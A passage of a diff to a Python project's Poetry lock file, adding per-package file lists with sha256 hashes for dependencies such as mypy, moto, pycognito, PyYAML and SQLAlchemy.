"MarkupSafe-2.0.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5b6d930f030f8ed98e3e6c98ffa0652bdb82601e7a016ec2ab5d7ff23baa78d1"}, + {file = "MarkupSafe-2.0.1-cp39-cp39-win32.whl", hash = "sha256:10f82115e21dc0dfec9ab5c0223652f7197feb168c940f3ef61563fc2d6beb74"}, + {file = "MarkupSafe-2.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:693ce3f9e70a6cf7d2fb9e6c9d8b204b6b39897a2c4a1aa65728d5ac97dcc1d8"}, + {file = "MarkupSafe-2.0.1.tar.gz", hash = "sha256:594c67807fb16238b30c44bdf74f36c02cdf22d1c8cda91ef8a0ed8dabf5620a"}, +] [[package]] name = "mccabe" version = "0.6.1" description = "McCabe checker, plugin for flake8" -category = "dev" optional = false python-versions = "*" +files = [ + {file = "mccabe-0.6.1-py2.py3-none-any.whl", hash = "sha256:ab8a6258860da4b6677da4bd2fe5dc2c659cff31b3ee4f7f5d64e79735b80d42"}, + {file = "mccabe-0.6.1.tar.gz", hash = "sha256:dd8d182285a0fe56bace7f45b5e7d1a6ebcbf524e8f3bd87eb0f125271b8831f"}, +] [[package]] name = "more-itertools" version = "8.8.0" description = "More routines for operating on iterables, beyond itertools" -category = "dev" optional = false python-versions = ">=3.5" +files = [ + {file = "more-itertools-8.8.0.tar.gz", hash = "sha256:83f0308e05477c68f56ea3a888172c78ed5d5b3c282addb67508e7ba6c8f813a"}, + {file = "more_itertools-8.8.0-py3-none-any.whl", hash = "sha256:2cf89ec599962f2ddc4d568a05defc40e0a587fbc10d5989713638864c36be4d"}, +] [[package]] name = "moto" version = "2.2.1" description = "A library that allows your python tests to easily mock out the boto library" -category = "dev" optional = false python-versions = "*" +files = [ + {file = "moto-2.2.1-py2.py3-none-any.whl", hash = "sha256:ab9f7114bf5b60e9d3ae518c0694bf53e111a5c0c195b19e89707c97ab71b53c"}, + {file = "moto-2.2.1.tar.gz", hash = "sha256:4ea538fe090b964c22bb98a6f87d3c589eaf754893d297d58b74dedb94d4448c"}, +] [package.dependencies] boto3 = ">=1.9.201" @@ -702,9 +926,32 @@ xray = ["aws-xray-sdk (>=0.93,!=0.96)"] name = "mypy" version = "0.812" description = "Optional static typing for Python" -category = "dev" optional = false python-versions = ">=3.5" +files = [ + {file = "mypy-0.812-cp35-cp35m-macosx_10_9_x86_64.whl", hash = "sha256:a26f8ec704e5a7423c8824d425086705e381b4f1dfdef6e3a1edab7ba174ec49"}, + {file = "mypy-0.812-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:28fb5479c494b1bab244620685e2eb3c3f988d71fd5d64cc753195e8ed53df7c"}, + {file = "mypy-0.812-cp35-cp35m-manylinux2010_x86_64.whl", hash = "sha256:9743c91088d396c1a5a3c9978354b61b0382b4e3c440ce83cf77994a43e8c521"}, + {file = "mypy-0.812-cp35-cp35m-win_amd64.whl", hash = "sha256:d7da2e1d5f558c37d6e8c1246f1aec1e7349e4913d8fb3cb289a35de573fe2eb"}, + {file = "mypy-0.812-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:4eec37370483331d13514c3f55f446fc5248d6373e7029a29ecb7b7494851e7a"}, + {file = "mypy-0.812-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:d65cc1df038ef55a99e617431f0553cd77763869eebdf9042403e16089fe746c"}, + {file = "mypy-0.812-cp36-cp36m-manylinux2010_x86_64.whl", hash = "sha256:61a3d5b97955422964be6b3baf05ff2ce7f26f52c85dd88db11d5e03e146a3a6"}, + {file = "mypy-0.812-cp36-cp36m-win_amd64.whl", hash = "sha256:25adde9b862f8f9aac9d2d11971f226bd4c8fbaa89fb76bdadb267ef22d10064"}, + {file = "mypy-0.812-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:552a815579aa1e995f39fd05dde6cd378e191b063f031f2acfe73ce9fb7f9e56"}, + {file = "mypy-0.812-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:499c798053cdebcaa916eef8cd733e5584b5909f789de856b482cd7d069bdad8"}, + {file = "mypy-0.812-cp37-cp37m-manylinux2010_x86_64.whl", hash = "sha256:5873888fff1c7cf5b71efbe80e0e73153fe9212fafdf8e44adfe4c20ec9f82d7"}, + {file = "mypy-0.812-cp37-cp37m-win_amd64.whl", hash = "sha256:9f94aac67a2045ec719ffe6111df543bac7874cee01f41928f6969756e030564"}, + {file = "mypy-0.812-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:d23e0ea196702d918b60c8288561e722bf437d82cb7ef2edcd98cfa38905d506"}, + {file = "mypy-0.812-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:674e822aa665b9fd75130c6c5f5ed9564a38c6cea6a6432ce47eafb68ee578c5"}, + {file = "mypy-0.812-cp38-cp38-manylinux2010_x86_64.whl", hash = "sha256:abf7e0c3cf117c44d9285cc6128856106183938c68fd4944763003decdcfeb66"}, + {file = "mypy-0.812-cp38-cp38-win_amd64.whl", hash = "sha256:0d0a87c0e7e3a9becdfbe936c981d32e5ee0ccda3e0f07e1ef2c3d1a817cf73e"}, + {file = "mypy-0.812-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:7ce3175801d0ae5fdfa79b4f0cfed08807af4d075b402b7e294e6aa72af9aa2a"}, + {file = "mypy-0.812-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:b09669bcda124e83708f34a94606e01b614fa71931d356c1f1a5297ba11f110a"}, + {file = "mypy-0.812-cp39-cp39-manylinux2010_x86_64.whl", hash = "sha256:33f159443db0829d16f0a8d83d94df3109bb6dd801975fe86bacb9bf71628e97"}, + {file = "mypy-0.812-cp39-cp39-win_amd64.whl", hash = "sha256:3f2aca7f68580dc2508289c729bd49ee929a436208d2b2b6aab15745a70a57df"}, + {file = "mypy-0.812-py3-none-any.whl", hash = "sha256:2f9b3407c58347a452fc0736861593e105139b905cca7d097e413453a1d650b4"}, + {file = "mypy-0.812.tar.gz", hash = "sha256:cd07039aa5df222037005b08fbbfd69b3ab0b0bd7a07d7906de75ae52c4e3119"}, +] [package.dependencies] mypy-extensions = ">=0.4.3,<0.5.0" @@ -718,9 +965,12 @@ dmypy = ["psutil (>=4.0)"] name = "mypy-boto3-iam" version = "1.18.13" description = "Type annotations for boto3.IAM 1.18.13 service, generated by mypy-boto3-builder 5.1.0" -category = "dev" optional = false python-versions = ">=3.6" +files = [ + {file = "mypy-boto3-iam-1.18.13.tar.gz", hash = "sha256:1aa839ff6bf0ca644cf6efcb72a50ea53280b47fa0e9d9fb7c2139f0768dcfa5"}, + {file = "mypy_boto3_iam-1.18.13-py3-none-any.whl", hash = "sha256:3772d100fae782bd83216e82d31d3be873cc08c5476da04a70e1100c03ff1d12"}, +] [package.dependencies] typing-extensions = {version = "*", markers = "python_version < \"3.8\""} @@ -729,9 +979,12 @@ typing-extensions = {version = "*", markers = "python_version < \"3.8\""} name = "mypy-boto3-lambda" version = "1.18.13" description = "Type annotations for boto3.Lambda 1.18.13 service, generated by mypy-boto3-builder 5.1.0" -category = "dev" optional = false python-versions = ">=3.6" +files = [ + {file = "mypy-boto3-lambda-1.18.13.tar.gz", hash = "sha256:a360fd716be53347d5666c2845ac8595b821750ad4d1f94cbae6533b871cdcce"}, + {file = "mypy_boto3_lambda-1.18.13-py3-none-any.whl", hash = "sha256:6d32d9355f6db4c02a3328ecfa6f3a6d01a7a40bd5ad6d533b6d15c09bd391ce"}, +] [package.dependencies] typing-extensions = {version = "*", markers = "python_version < \"3.8\""} @@ -740,9 +993,12 @@ typing-extensions = {version = "*", markers = "python_version < \"3.8\""} name = "mypy-boto3-s3" version = "1.18.13" description = "Type annotations for boto3.S3 1.18.13 service, generated by mypy-boto3-builder 5.1.0" -category = "dev" optional = false python-versions = ">=3.6" +files = [ + {file = "mypy-boto3-s3-1.18.13.tar.gz", hash = "sha256:9c31f2cf9cfad8fff83b13a5b0fccb3dcd1126c3857e276d655a4e19378c12ce"}, + {file = "mypy_boto3_s3-1.18.13-py3-none-any.whl", hash = "sha256:79247582bc73b053db90513e70f03b8b8db58ec1995ef25166bc037e8e7b15ad"}, +] [package.dependencies] typing-extensions = {version = "*", markers = "python_version < \"3.8\""} @@ -751,17 +1007,23 @@ typing-extensions = {version = "*", markers = "python_version < \"3.8\""} name = "mypy-extensions" version = "0.4.3" description = "Experimental type system extensions for programs checked with the mypy typechecker." -category = "main" optional = false python-versions = "*" - +files = [ + {file = "mypy_extensions-0.4.3-py2.py3-none-any.whl", hash = "sha256:090fedd75945a69ae91ce1303b5824f428daf5a028d2f6ab8a299250a846f15d"}, + {file = "mypy_extensions-0.4.3.tar.gz", hash = "sha256:2d82818f5bb3e369420cb3c4060a7970edba416647068eb4c5343488a6c604a8"}, +] + [[package]] name = "packaging" version = "21.0" description = "Core utilities for Python packages" -category = "dev" optional = false python-versions = ">=3.6" +files = [ + {file = "packaging-21.0-py3-none-any.whl", hash = "sha256:c86254f9220d55e31cc94d69bade760f0847da8000def4dfe1c6b872fd14ff14"}, + {file = "packaging-21.0.tar.gz", hash = "sha256:7dc96269f53a4ccec5c0670940a4281106dd0bb343f47b7471f779df49c2fbe7"}, +] [package.dependencies] pyparsing = ">=2.0.2" @@ -770,17 +1032,23 @@ pyparsing = ">=2.0.2" name = "pip" version = "21.2.4" description = "The PyPA recommended tool for installing Python packages." -category = "main" optional = false python-versions = ">=3.6" +files = [ + {file = "pip-21.2.4-py3-none-any.whl", hash = "sha256:fa9ebb85d3fd607617c0c44aca302b1b45d87f9c2a1649b46c26167ca4296323"}, + {file = "pip-21.2.4.tar.gz", hash = "sha256:0eb8a1516c3d138ae8689c0c1a60fde7143310832f9dc77e11d8a4bc62de193b"}, +] [[package]] name = "pluggy" version = "0.13.1" description = "plugin and hook calling mechanisms for python" -category = "dev" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +files = [ + {file = "pluggy-0.13.1-py2.py3-none-any.whl", hash = "sha256:966c145cd83c96502c3c3868f50408687b38434af77734af1e9ca461a4081d2d"}, + {file = "pluggy-0.13.1.tar.gz", hash = "sha256:15b2acde666561e1298d71b523007ed7364de07029219b604cf808bfa1c765b0"}, +] [package.dependencies] importlib-metadata = {version = ">=0.12", markers = "python_version < \"3.8\""} @@ -792,9 +1060,12 @@ dev = ["pre-commit", "tox"] name = "policyuniverse" version = "1.5.0.20220613" description = "Parse and Process AWS IAM Policies, Statements, ARNs, and wildcards." -category = "main" optional = false python-versions = ">=3.7" +files = [ + {file = "policyuniverse-1.5.0.20220613-py2.py3-none-any.whl", hash = "sha256:be5d9148bf6cc2586b02aa85242e9c9cdc94e4469f9b393114950cae299eeb5d"}, + {file = "policyuniverse-1.5.0.20220613.tar.gz", hash = "sha256:c66b1fb907750643a1987eb419b2112ae3f9c527c013429525f9fab989c9a2d7"}, +] [package.extras] dev = ["black", "pre-commit"] @@ -804,33 +1075,45 @@ tests = ["bandit", "coveralls", "pytest"] name = "py" version = "1.10.0" description = "library with cross-python path, ini-parsing, io, code, log facilities" -category = "dev" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +files = [ + {file = "py-1.10.0-py2.py3-none-any.whl", hash = "sha256:3b80836aa6d1feeaa108e046da6423ab8f6ceda6468545ae8d02d9d58d18818a"}, + {file = "py-1.10.0.tar.gz", hash = "sha256:21b81bda15b66ef5e1a777a21c4dcd9c20ad3efd0b3f817e7a809035269e1bd3"}, +] [[package]] name = "pyasn1" version = "0.4.8" description = "ASN.1 types and codecs" -category = "main" optional = false python-versions = "*" +files = [ + {file = "pyasn1-0.4.8-py2.py3-none-any.whl", hash = "sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d"}, + {file = "pyasn1-0.4.8.tar.gz", hash = "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba"}, +] [[package]] name = "pycodestyle" version = "2.7.0" description = "Python style guide checker" -category = "dev" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +files = [ + {file = "pycodestyle-2.7.0-py2.py3-none-any.whl", hash = "sha256:514f76d918fcc0b55c6680472f0a37970994e07bbb80725808c17089be302068"}, + {file = "pycodestyle-2.7.0.tar.gz", hash = "sha256:c389c1d06bf7904078ca03399a4816f974a1d590090fecea0c63ec26ebaf1cef"}, +] [[package]] name = "pycognito" version = "2023.5.0" description = "Python class to integrate Boto3's Cognito client so it is easy to login users. With SRP support." -category = "main" optional = false python-versions = "*" +files = [ + {file = "pycognito-2023.5.0-py3-none-any.whl", hash = "sha256:0a73c2bdc966465df3a61cba445f58beee9734638be7b10681792725651168eb"}, + {file = "pycognito-2023.5.0.tar.gz", hash = "sha256:3843cfff56969f7c4b0b2fd499877941d0bf33e39c4541dc896c2b83bef5db24"}, +] [package.dependencies] boto3 = ">=1.10.49" @@ -842,41 +1125,56 @@ requests = ">=2.22.0" name = "pycparser" version = "2.20" description = "C parser in Python" -category = "main" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +files = [ + {file = "pycparser-2.20-py2.py3-none-any.whl", hash = "sha256:7582ad22678f0fcd81102833f60ef8d0e57288b6b5fb00323d101be910e35705"}, + {file = "pycparser-2.20.tar.gz", hash = "sha256:2d475327684562c3a96cc71adf7dc8c4f0565175cf86b6d7a404ff4c771f15f0"}, +] [[package]] name = "pyflakes" version = "2.3.1" description = "passive checker of Python programs" -category = "dev" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +files = [ + {file = "pyflakes-2.3.1-py2.py3-none-any.whl", hash = "sha256:7893783d01b8a89811dd72d7dfd4d84ff098e5eed95cfa8905b22bbffe52efc3"}, + {file = "pyflakes-2.3.1.tar.gz", hash = "sha256:f5bc8ecabc05bb9d291eb5203d6810b49040f6ff446a756326104746cc00c1db"}, +] [[package]] name = "pyparsing" version = "2.4.7" description = "Python parsing module" -category = "dev" optional = false python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" +files = [ + {file = "pyparsing-2.4.7-py2.py3-none-any.whl", hash = "sha256:ef9d7589ef3c200abe66653d3f1ab1033c3c419ae9b9bdb1240a85b024efc88b"}, + {file = "pyparsing-2.4.7.tar.gz", hash = "sha256:c203ec8783bf771a155b207279b9bccb8dea02d8f0c9e5f8ead507bc3246ecc1"}, +] [[package]] name = "pypng" version = "0.20220715.0" description = "Pure Python library for saving and loading PNG images" -category = "main" optional = false python-versions = "*" +files = [ + {file = "pypng-0.20220715.0-py3-none-any.whl", hash = "sha256:4a43e969b8f5aaafb2a415536c1a8ec7e341cd6a3f957fd5b5f32a4cfeed902c"}, + {file = "pypng-0.20220715.0.tar.gz", hash = "sha256:739c433ba96f078315de54c0db975aee537cbc3e1d0ae4ed9aab0ca1e427e2c1"}, +] [[package]] name = "pytest" version = "6.2.4" description = "pytest: simple powerful testing with Python" -category = "dev" optional = false python-versions = ">=3.6" +files = [ + {file = "pytest-6.2.4-py3-none-any.whl", hash = "sha256:91ef2131a9bd6be8f76f1f08eac5c5317221d6ad1e143ae03894b862e8976890"}, + {file = "pytest-6.2.4.tar.gz", hash = "sha256:50bcad0a0b9c5a72c8e4e7c9855a3ad496ca6a881a3641b4260605450772c54b"}, +] [package.dependencies] atomicwrites = {version = ">=1.0", markers = "sys_platform == \"win32\""} @@ -896,9 +1194,12 @@ testing = ["argcomplete", "hypothesis (>=3.56)", "mock", "nose", "requests", "xm name = "python-dateutil" version = "2.8.2" description = "Extensions to the standard Python datetime module" -category = "main" optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" +files = [ + {file = "python-dateutil-2.8.2.tar.gz", hash = "sha256:0123cacc1627ae19ddf3c27a5de5bd67ee4586fbdd6440d9748f8abb483d3e86"}, + {file = "python_dateutil-2.8.2-py2.py3-none-any.whl", hash = "sha256:961d03dc3453ebbc59dbdea9e4e11c5651520a876d0f4db161e8674aae935da9"}, +] [package.dependencies] six = ">=1.5" @@ -907,17 +1208,24 @@ six = ">=1.5" name = "python-editor" version = "1.0.4" description = "Programmatically open an editor, capture the result." -category = "main" optional = false python-versions = "*" +files = [ + {file = "python-editor-1.0.4.tar.gz", hash = "sha256:51fda6bcc5ddbbb7063b2af7509e43bd84bfc32a4ff71349ec7847713882327b"}, + {file = "python_editor-1.0.4-py2-none-any.whl", hash = "sha256:5f98b069316ea1c2ed3f67e7f5df6c0d8f10b689964a4a811ff64f0106819ec8"}, + {file = "python_editor-1.0.4-py3-none-any.whl", hash = "sha256:1bf6e860a8ad52a14c3ee1252d5dc25b2030618ed80c022598f00176adc8367d"}, +] [[package]] name = "python-jose" version = "3.3.0" description = "JOSE implementation in Python" -category = "main" optional = false python-versions = "*" +files = [ + {file = "python-jose-3.3.0.tar.gz", hash = "sha256:55779b5e6ad599c6336191246e95eb2293a9ddebd555f796a65f838f07e5d78a"}, + {file = "python_jose-3.3.0-py2.py3-none-any.whl", hash = "sha256:9b1376b023f8b298536eedd47ae1089bcdb848f1535ab30555cd92002d78923a"}, +] [package.dependencies] cryptography = {version = ">=3.4.0", optional = true, markers = "extra == \"cryptography\""} @@ -934,25 +1242,61 @@ pycryptodome = ["pyasn1", "pycryptodome (>=3.3.1,<4.0.0)"] name = "pytz" version = "2021.1" description = "World timezone definitions, modern and historical" -category = "dev" optional = false python-versions = "*" +files = [ + {file = "pytz-2021.1-py2.py3-none-any.whl", hash = "sha256:eb10ce3e7736052ed3623d49975ce333bcd712c7bb19a58b9e2089d4057d0798"}, + {file = "pytz-2021.1.tar.gz", hash = "sha256:83a4a90894bf38e243cf052c8b58f381bfe9a7a483f6a9cab140bc7f702ac4da"}, +] [[package]] name = "pyyaml" version = "5.4.1" description = "YAML parser and emitter for Python" -category = "main" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" +files = [ + {file = "PyYAML-5.4.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:3b2b1824fe7112845700f815ff6a489360226a5609b96ec2190a45e62a9fc922"}, + {file = "PyYAML-5.4.1-cp27-cp27m-win32.whl", hash = "sha256:129def1b7c1bf22faffd67b8f3724645203b79d8f4cc81f674654d9902cb4393"}, + {file = "PyYAML-5.4.1-cp27-cp27m-win_amd64.whl", hash = "sha256:4465124ef1b18d9ace298060f4eccc64b0850899ac4ac53294547536533800c8"}, + {file = "PyYAML-5.4.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:bb4191dfc9306777bc594117aee052446b3fa88737cd13b7188d0e7aa8162185"}, + {file = "PyYAML-5.4.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:6c78645d400265a062508ae399b60b8c167bf003db364ecb26dcab2bda048253"}, + {file = "PyYAML-5.4.1-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:4e0583d24c881e14342eaf4ec5fbc97f934b999a6828693a99157fde912540cc"}, + {file = "PyYAML-5.4.1-cp36-cp36m-manylinux2014_aarch64.whl", hash = "sha256:72a01f726a9c7851ca9bfad6fd09ca4e090a023c00945ea05ba1638c09dc3347"}, + {file = "PyYAML-5.4.1-cp36-cp36m-manylinux2014_s390x.whl", hash = "sha256:895f61ef02e8fed38159bb70f7e100e00f471eae2bc838cd0f4ebb21e28f8541"}, + {file = "PyYAML-5.4.1-cp36-cp36m-win32.whl", hash = "sha256:3bd0e463264cf257d1ffd2e40223b197271046d09dadf73a0fe82b9c1fc385a5"}, + {file = "PyYAML-5.4.1-cp36-cp36m-win_amd64.whl", hash = "sha256:e4fac90784481d221a8e4b1162afa7c47ed953be40d31ab4629ae917510051df"}, + {file = "PyYAML-5.4.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:5accb17103e43963b80e6f837831f38d314a0495500067cb25afab2e8d7a4018"}, + {file = "PyYAML-5.4.1-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:e1d4970ea66be07ae37a3c2e48b5ec63f7ba6804bdddfdbd3cfd954d25a82e63"}, + {file = "PyYAML-5.4.1-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:cb333c16912324fd5f769fff6bc5de372e9e7a202247b48870bc251ed40239aa"}, + {file = "PyYAML-5.4.1-cp37-cp37m-manylinux2014_s390x.whl", hash = "sha256:fe69978f3f768926cfa37b867e3843918e012cf83f680806599ddce33c2c68b0"}, + {file = "PyYAML-5.4.1-cp37-cp37m-win32.whl", hash = "sha256:dd5de0646207f053eb0d6c74ae45ba98c3395a571a2891858e87df7c9b9bd51b"}, + {file = "PyYAML-5.4.1-cp37-cp37m-win_amd64.whl", hash = "sha256:08682f6b72c722394747bddaf0aa62277e02557c0fd1c42cb853016a38f8dedf"}, + {file = "PyYAML-5.4.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:d2d9808ea7b4af864f35ea216be506ecec180628aced0704e34aca0b040ffe46"}, + {file = "PyYAML-5.4.1-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:8c1be557ee92a20f184922c7b6424e8ab6691788e6d86137c5d93c1a6ec1b8fb"}, + {file = "PyYAML-5.4.1-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:fd7f6999a8070df521b6384004ef42833b9bd62cfee11a09bda1079b4b704247"}, + {file = "PyYAML-5.4.1-cp38-cp38-manylinux2014_s390x.whl", hash = "sha256:bfb51918d4ff3d77c1c856a9699f8492c612cde32fd3bcd344af9be34999bfdc"}, + {file = "PyYAML-5.4.1-cp38-cp38-win32.whl", hash = "sha256:fa5ae20527d8e831e8230cbffd9f8fe952815b2b7dae6ffec25318803a7528fc"}, + {file = "PyYAML-5.4.1-cp38-cp38-win_amd64.whl", hash = "sha256:0f5f5786c0e09baddcd8b4b45f20a7b5d61a7e7e99846e3c799b05c7c53fa696"}, + {file = "PyYAML-5.4.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:294db365efa064d00b8d1ef65d8ea2c3426ac366c0c4368d930bf1c5fb497f77"}, + {file = "PyYAML-5.4.1-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:74c1485f7707cf707a7aef42ef6322b8f97921bd89be2ab6317fd782c2d53183"}, + {file = "PyYAML-5.4.1-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:d483ad4e639292c90170eb6f7783ad19490e7a8defb3e46f97dfe4bacae89122"}, + {file = "PyYAML-5.4.1-cp39-cp39-manylinux2014_s390x.whl", hash = "sha256:fdc842473cd33f45ff6bce46aea678a54e3d21f1b61a7750ce3c498eedfe25d6"}, + {file = "PyYAML-5.4.1-cp39-cp39-win32.whl", hash = "sha256:49d4cdd9065b9b6e206d0595fee27a96b5dd22618e7520c33204a4a3239d5b10"}, + {file = "PyYAML-5.4.1-cp39-cp39-win_amd64.whl", hash = "sha256:c20cfa2d49991c8b4147af39859b167664f2ad4561704ee74c1de03318e898db"}, + {file = "PyYAML-5.4.1.tar.gz", hash = "sha256:607774cbba28732bfa802b54baa7484215f530991055bb562efbed5b2f20a45e"}, +] [[package]] name = "qrcode" version = "7.4.2" description = "QR Code image generator" -category = "main" optional = false python-versions = ">=3.7" +files = [ + {file = "qrcode-7.4.2-py3-none-any.whl", hash = "sha256:581dca7a029bcb2deef5d01068e39093e80ef00b4a61098a2182eac59d01643a"}, + {file = "qrcode-7.4.2.tar.gz", hash = "sha256:9dd969454827e127dbd93696b20747239e6d540e082937c90f14ac95b30f5845"}, +] [package.dependencies] colorama = {version = "*", markers = "platform_system == \"Windows\""} @@ -970,17 +1314,23 @@ test = ["coverage", "pytest"] name = "readchar" version = "2.0.1" description = "Utilities to read single characters and key-strokes" -category = "main" optional = false python-versions = "*" +files = [ + {file = "readchar-2.0.1-py2-none-any.whl", hash = "sha256:ed00b7a49bb12f345319d9fa393f289f03670310ada2beb55e8c3f017c648f1e"}, + {file = "readchar-2.0.1-py3-none-any.whl", hash = "sha256:3ac34aab28563bc895f73233d5c08b28f951ca190d5850b8d4bec973132a8dca"}, +] [[package]] name = "requests" version = "2.26.0" description = "Python HTTP for Humans." -category = "main" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" +files = [ + {file = "requests-2.26.0-py2.py3-none-any.whl", hash = "sha256:6c1246513ecd5ecd4528a0906f910e8f0f9c6b8ec72030dc9fd154dc1a6efd24"}, + {file = "requests-2.26.0.tar.gz", hash = "sha256:b8aa58f8cf793ffd8782d3d8cb19e66ef36f7aba4353eec859e74678b01b07a7"}, +] [package.dependencies] certifi = ">=2017.4.17" @@ -996,9 +1346,12 @@ use-chardet-on-py3 = ["chardet (>=3.0.2,<5)"] name = "responses" version = "0.13.3" description = "A utility library for mocking out the `requests` Python library." -category = "dev" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" +files = [ + {file = "responses-0.13.3-py2.py3-none-any.whl", hash = "sha256:b54067596f331786f5ed094ff21e8d79e6a1c68ef625180a7d34808d6f36c11b"}, + {file = "responses-0.13.3.tar.gz", hash = "sha256:18a5b88eb24143adbf2b4100f328a2f5bfa72fbdacf12d97d41f07c26c45553d"}, +] [package.dependencies] requests = ">=2.0" @@ -1012,9 +1365,12 @@ tests = ["coverage (>=3.7.1,<6.0.0)", "flake8", "mypy", "pytest (>=4.6)", "pytes name = "rsa" version = "4.7.2" description = "Pure-Python RSA implementation" -category = "main" optional = false python-versions = ">=3.5, <4" +files = [ + {file = "rsa-4.7.2-py3-none-any.whl", hash = "sha256:78f9a9bf4e7be0c5ded4583326e7461e3a3c5aae24073648b4bdfa797d78c9d2"}, + {file = "rsa-4.7.2.tar.gz", hash = "sha256:9d689e6ca1b3038bc82bf8d23e944b6b6037bc02301a574935b2dd946e0353b9"}, +] [package.dependencies] pyasn1 = ">=0.1.3" @@ -1023,9 +1379,12 @@ pyasn1 = ">=0.1.3" name = "s3transfer" version = "0.5.0" description = "An Amazon S3 Transfer Manager" -category = "main" optional = false python-versions = ">= 3.6" +files = [ + {file = "s3transfer-0.5.0-py3-none-any.whl", hash = "sha256:9c1dc369814391a6bda20ebbf4b70a0f34630592c9aa520856bf384916af2803"}, + {file = "s3transfer-0.5.0.tar.gz", hash = "sha256:50ed823e1dc5868ad40c8dc92072f757aa0e653a192845c94a3b676f4a62da4c"}, +] [package.dependencies] botocore = ">=1.12.36,<2.0a.0" @@ -1037,9 +1396,12 @@ crt = ["botocore[crt] (>=1.20.29,<2.0a.0)"] name = "setuptools" version = "59.6.0" description = "Easily download, build, install, upgrade, and uninstall Python packages" -category = "main" optional = false python-versions = ">=3.6" +files = [ + {file = "setuptools-59.6.0-py3-none-any.whl", hash = "sha256:4ce92f1e1f8f01233ee9952c04f6b81d1e02939d6e1b488428154974a4d0783e"}, + {file = "setuptools-59.6.0.tar.gz", hash = "sha256:22c7348c6d2976a52632c67f7ab0cdf40147db7789f9aed18734643fe9cf3373"}, +] [package.extras] docs = ["furo", "jaraco.packaging (>=8.2)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "rst.linker (>=1.9)", "sphinx", "sphinx-inline-tabs", "sphinxcontrib-towncrier"] @@ -1049,24 +1411,62 @@ testing = ["flake8-2020", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "mock" name = "six" version = "1.16.0" description = "Python 2 and 3 compatibility utilities" -category = "main" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*" +files = [ + {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"}, + {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"}, +] [[package]] name = "sqlalchemy" version = "1.3.24" description = "Database Abstraction Library" -category = "main" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +files = [ + {file = "SQLAlchemy-1.3.24-cp27-cp27m-macosx_10_14_x86_64.whl", hash = "sha256:87a2725ad7d41cd7376373c15fd8bf674e9c33ca56d0b8036add2d634dba372e"}, + {file = "SQLAlchemy-1.3.24-cp27-cp27m-win32.whl", hash = "sha256:f597a243b8550a3a0b15122b14e49d8a7e622ba1c9d29776af741f1845478d79"}, + {file = "SQLAlchemy-1.3.24-cp27-cp27m-win_amd64.whl", hash = "sha256:fc4cddb0b474b12ed7bdce6be1b9edc65352e8ce66bc10ff8cbbfb3d4047dbf4"}, + {file = "SQLAlchemy-1.3.24-cp35-cp35m-macosx_10_14_x86_64.whl", hash = "sha256:f1149d6e5c49d069163e58a3196865e4321bad1803d7886e07d8710de392c548"}, + {file = "SQLAlchemy-1.3.24-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:14f0eb5db872c231b20c18b1e5806352723a3a89fb4254af3b3e14f22eaaec75"}, + {file = "SQLAlchemy-1.3.24-cp35-cp35m-manylinux2010_x86_64.whl", hash = "sha256:e98d09f487267f1e8d1179bf3b9d7709b30a916491997137dd24d6ae44d18d79"}, + {file = "SQLAlchemy-1.3.24-cp35-cp35m-manylinux2014_aarch64.whl", hash = "sha256:fc1f2a5a5963e2e73bac4926bdaf7790c4d7d77e8fc0590817880e22dd9d0b8b"}, + {file = "SQLAlchemy-1.3.24-cp35-cp35m-win32.whl", hash = "sha256:f3c5c52f7cb8b84bfaaf22d82cb9e6e9a8297f7c2ed14d806a0f5e4d22e83fb7"}, + {file = "SQLAlchemy-1.3.24-cp35-cp35m-win_amd64.whl", hash = 